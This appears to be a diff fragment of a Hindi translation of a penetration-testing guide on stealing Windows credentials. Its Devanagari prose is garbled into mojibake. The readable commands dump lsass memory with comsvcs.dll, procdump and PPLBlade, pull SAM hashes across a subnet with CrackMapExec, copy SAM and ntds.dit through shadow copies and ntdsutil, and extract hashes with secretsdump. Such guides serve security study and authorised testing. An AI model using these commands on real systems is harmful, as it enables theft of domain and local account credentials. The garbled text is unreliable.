рдХрд░рдирд╛ рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рд▓реЗрдХрд┐рди рддреАрд╕рд░рд╛ рдПрдХ рддреАрди рдШрдЯрдХреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИред рдбрдВрдк рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рдкрд╣рд▓рд╛ рдШрдЯрдХ рд╣реИ, рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рд╕реНрдерд╛рди рджреВрд╕рд░рд╛ рд╣реИ, рдФрд░ рддреАрд╕рд░рд╛ рдШрдЯрдХ рдХреЗрд╡рд▓ рд╢рдмреНрдж **full** рд╣реИред рдХреЛрдИ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИрдВред\ +рдПрдХ DLL рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **comsvcs.dll** рд╣реИ, `C:\Windows\System32` рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ **dumping process memory** рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ рдЬрдм рдПрдХ рдХреНрд░реИрд╢ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ DLL рдореЗрдВ рдПрдХ **function** рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **`MiniDumpW`** рд╣реИ, рдЬрд┐рд╕реЗ `rundll32.exe` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреБрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред\ +рдкрд╣рд▓реЗ рджреЛ arguments рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рд▓реЗрдХрд┐рди рддреАрд╕рд░рд╛ рддреАрди рдШрдЯрдХреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИред рдбрдВрдк рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рдкрд╣рд▓рд╛ рдШрдЯрдХ рд╣реИ, рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рд╕реНрдерд╛рди рджреВрд╕рд░рд╛ рд╣реИ, рдФрд░ рддреАрд╕рд░рд╛ рдШрдЯрдХ рдХреЗрд╡рд▓ рд╢рдмреНрдж **full** рд╣реИред рдХреЛрдИ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИрдВред\ рдЗрди рддреАрди рдШрдЯрдХреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдкрд░, DLL рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдВрд▓рдЧреНрди рд╣реЛрддрд╛ рд╣реИред\ **comsvcs.dll** рдХрд╛ рдЙрдкрдпреЛрдЧ lsass рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ procdump рдХреЛ рдЕрдкрд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords) рдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ``` @@ -86,12 +90,12 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full 1. рдЯрд╛рд╕реНрдХ рдмрд╛рд░ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЯрд╛рд╕реНрдХ рдореИрдиреЗрдЬрд░ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ 2. рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ -3. рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЯреИрдм рдореЗрдВ "рд▓реЛрдХрд▓ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЕрдереЙрд░рд┐рдЯреА рдкреНрд░реЛрд╕реЗрд╕" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ -4. "рд▓реЛрдХрд▓ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЕрдереЙрд░рд┐рдЯреА рдкреНрд░реЛрд╕реЗрд╕" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ "рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред +3. рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЯреИрдм рдореЗрдВ "рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ +4. "рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ "рдбрдВрдк рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред ### procdump рдХреЗ рд╕рд╛рде lsass рдХреЛ рдбрдВрдк рдХрд░рдирд╛ -[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдПрдХ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдмрд╛рдЗрдирд░реА рд╣реИ рдЬреЛ [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) рд╕реВрдЯ рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред +[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдПрдХ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдмрд╛рдЗрдирд░реА рд╣реИ рдЬреЛ [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) рд╕реВрдЯ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред ``` Get-Process -Name LSASS .\procdump.exe -ma 608 lsass.dmp @@ -110,7 +114,7 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod ``` ## CrackMapExec -### SAM рд╣реИрд╢реЗрд╕ рдХреЛ рдбрдВрдк рдХрд░реЗрдВ +### SAM рд╣реИрд╢реЗрд╕ рдбрдВрдк рдХрд░реЗрдВ ``` cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam ``` @@ -150,11 +154,11 @@ impacket-secretsdump -sam sam -security security -system system LOCAL ``` ### Volume Shadow Copy -рдЖрдк рдЗрд╕ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +рдЖрдк рдЗрд╕ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред #### Using vssadmin -vssadmin рдмрд╛рдЗрдирд░реА рдХреЗрд╡рд▓ Windows Server рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИред +vssadmin рдмрд╛рдЗрдирд░реА рдХреЗрд╡рд▓ Windows Server рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ ```bash vssadmin create shadow /for=C: #Copy SAM @@ -167,7 +171,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex # You can also create a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ ``` -рд▓реЗрдХрд┐рди рдЖрдк **Powershell** рд╕реЗ рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ **SAM рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг** рд╣реИ (рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ "C:" рд╣реИ рдФрд░ рдЗрд╕реЗ C:\users\Public рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИ) рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рд▓реЗрдХрд┐рди рдЖрдк **Powershell** рд╕реЗ рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ **SAM рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг** рд╣реИ (рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ "C:" рд╣реИ рдФрд░ рдЗрд╕реЗ C:\users\Public рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИ) рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash $service=(Get-Service -name VSS) if($service.Status -ne "Running"){$notrunning=1;$service.Start()} @@ -184,7 +188,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c ``` ## **Active Directory Credentials - NTDS.dit** -**NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХреЛ **Active Directory** рдХрд╛ рджрд┐рд▓ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд╕реНрддреБрдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рдЙрдирдХреА рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рд░рдЦрддреА рд╣реИред рдпрд╣ рд╡рд╣ рд╕реНрдерд╛рди рд╣реИ рдЬрд╣рд╛рдБ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ **password hashes** рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдПрдХ **Extensible Storage Engine (ESE)** рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдФрд░ **_%SystemRoom%/NTDS/ntds.dit_** рдкрд░ рд╕реНрдерд┐рдд рд╣реИред +**NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХреЛ **Active Directory** рдХрд╛ рджрд┐рд▓ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд╕реНрддреБрдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рдЙрдирдХреА рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рд░рдЦрддреА рд╣реИред рдпрд╣ рд╡рд╣ рд╕реНрдерд╛рди рд╣реИ рдЬрд╣рд╛рдБ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ **рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢** рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдПрдХ **Extensible Storage Engine (ESE)** рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдФрд░ **_%SystemRoom%/NTDS/ntds.dit_** рдкрд░ рд╕реНрдерд┐рдд рд╣реИред рдЗрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рддреАрди рдкреНрд░рдореБрдЦ рддрд╛рд▓рд┐рдХрд╛рдПрдБ рд░рдЦреА рдЬрд╛рддреА рд╣реИрдВ: @@ -194,17 +198,17 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) -Windows рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП _Ntdsa.dll_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ _lsass.exe_ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░, **NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХрд╛ **рднрд╛рдЧ** **`lsass`** рдореЗрдореЛрд░реА рдХреЗ **рдЕрдВрджрд░** рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЖрдк рд╢рд╛рдпрдж рдкреНрд░рджрд░реНрд╢рди рд╕реБрдзрд╛рд░ рдХреЗ рдХрд╛рд░рдг **cache** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред +Windows рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП _Ntdsa.dll_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ _lsass.exe_ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░, **NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХрд╛ **рднрд╛рдЧ** **`lsass`** рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЖрдк рд╢рд╛рдпрдж рдирд╡реАрдирддрдо рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ **cache** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рд╕реБрдзрд╛рд░ рд╣реЛрддрд╛ рд╣реИ)ред #### NTDS.dit рдХреЗ рдЕрдВрджрд░ рд╣реИрд╢ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдирд╛ рд╣реИрд╢ рдХреЛ 3 рдмрд╛рд░ рд╕рд┐рдлрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: -1. **BOOTKEY** рдФрд░ **RC4** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Password Encryption Key (**PEK**) рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред -2. **PEK** рдФрд░ **RC4** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **hash** рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред -3. **DES** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **hash** рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред +1. **BOOTKEY** рдФрд░ **RC4** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА (**PEK**) рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред +2. **PEK** рдФрд░ **RC4** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╣реИрд╢** рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред +3. **DES** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╣реИрд╢** рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВред -**PEK** рдХрд╛ **рд╣рд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдореЗрдВ **рдПрдХ рд╣реА рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ **NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **BOOTKEY** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕рд┐рдлрд░рд┐рдд** рд╣реЛрддрд╛ рд╣реИ (рдЬреЛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реЛрдВ рдХреЗ рдмреАрдЪ рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИ)ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ NTDS.dit рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЖрдкрдХреЛ NTDS.dit рдФрд░ SYSTEM рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ** (_C:\Windows\System32\config\SYSTEM_)ред +**PEK** рдХрд╛ **рд╣рд░ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдореЗрдВ **рдПрдХ рд╣реА рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ **NTDS.dit** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреЗ BOOTKEY** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕рд┐рдлрд░** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреЛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реЛрдВ рдХреЗ рдмреАрдЪ рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИ)ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ NTDS.dit рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЖрдкрдХреЛ NTDS.dit рдФрд░ SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ** (_C:\Windows\System32\config\SYSTEM_)ред ### Ntdsutil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NTDS.dit рдХреА рдХреЙрдкреА рдХрд░рдирд╛ @@ -212,15 +216,15 @@ Windows Server 2008 рд╕реЗ рдЙрдкрд▓рдмреНрдзред ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -рдЖрдк [**рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА**](#stealing-sam-and-system) рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **ntds.dit** рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдкрдХреЛ **SYSTEM рдлрд╝рд╛рдЗрд▓** рдХреА рдПрдХ рдХреЙрдкреА рднреА рдЪрд╛рд╣рд┐рдП рд╣реЛрдЧреА (рдлрд┐рд░ рд╕реЗ, [**рдЗрд╕реЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдбрдВрдк рдХрд░реЗрдВ рдпрд╛ рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА**](#stealing-sam-and-system) рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред +рдЖрдк [**рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА**](#stealing-sam-and-system) рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **ntds.dit** рдлрд╝рд╛рдЗрд▓ рдХреА рдХреЙрдкреА рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдкрдХреЛ **SYSTEM рдлрд╝рд╛рдЗрд▓** рдХреА рдПрдХ рдХреЙрдкреА рднреА рдЪрд╛рд╣рд┐рдП рд╣реЛрдЧреА (рдлрд┐рд░ рд╕реЗ, [**рдЗрд╕реЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдбрдВрдк рдХрд░реЗрдВ рдпрд╛ рд╡реЙрд▓реНрдпреВрдо рд╢реИрдбреЛ рдХреЙрдкреА**](#stealing-sam-and-system) рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред ### **NTDS.dit рд╕реЗ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛** -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ **NTDS.dit** рдФрд░ **SYSTEM** рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реЛрдВ, рддреЛ рдЖрдк _secretsdump.py_ рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╣реИрд╢ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ**: +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк **NTDS.dit** рдФрд░ **SYSTEM** рдлрд╝рд╛рдЗрд▓реЗрдВ **рдкреНрд░рд╛рдкреНрдд** рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк _secretsdump.py_ рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╣реИрд╢ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ**: ```bash secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt ``` -рдЖрдк рдЙрдиреНрд╣реЗрдВ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ** рдПрдХ рдорд╛рдиреНрдп рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ: +рдЖрдк рдЙрдиреНрд╣реЗрдВ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ** рдПрдХ рдорд╛рдиреНрдп рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ: ``` secretsdump.py -just-dc-ntlm /@ ``` @@ -230,15 +234,15 @@ For **big NTDS.dit files** рдЗрд╕реЗ [gosecretsdump](https://github.com/c-sto/go ### **NTDS.dit рд╕реЗ SQLite рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдирд┐рдХрд╛рд▓рдирд╛** -NTDS рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ 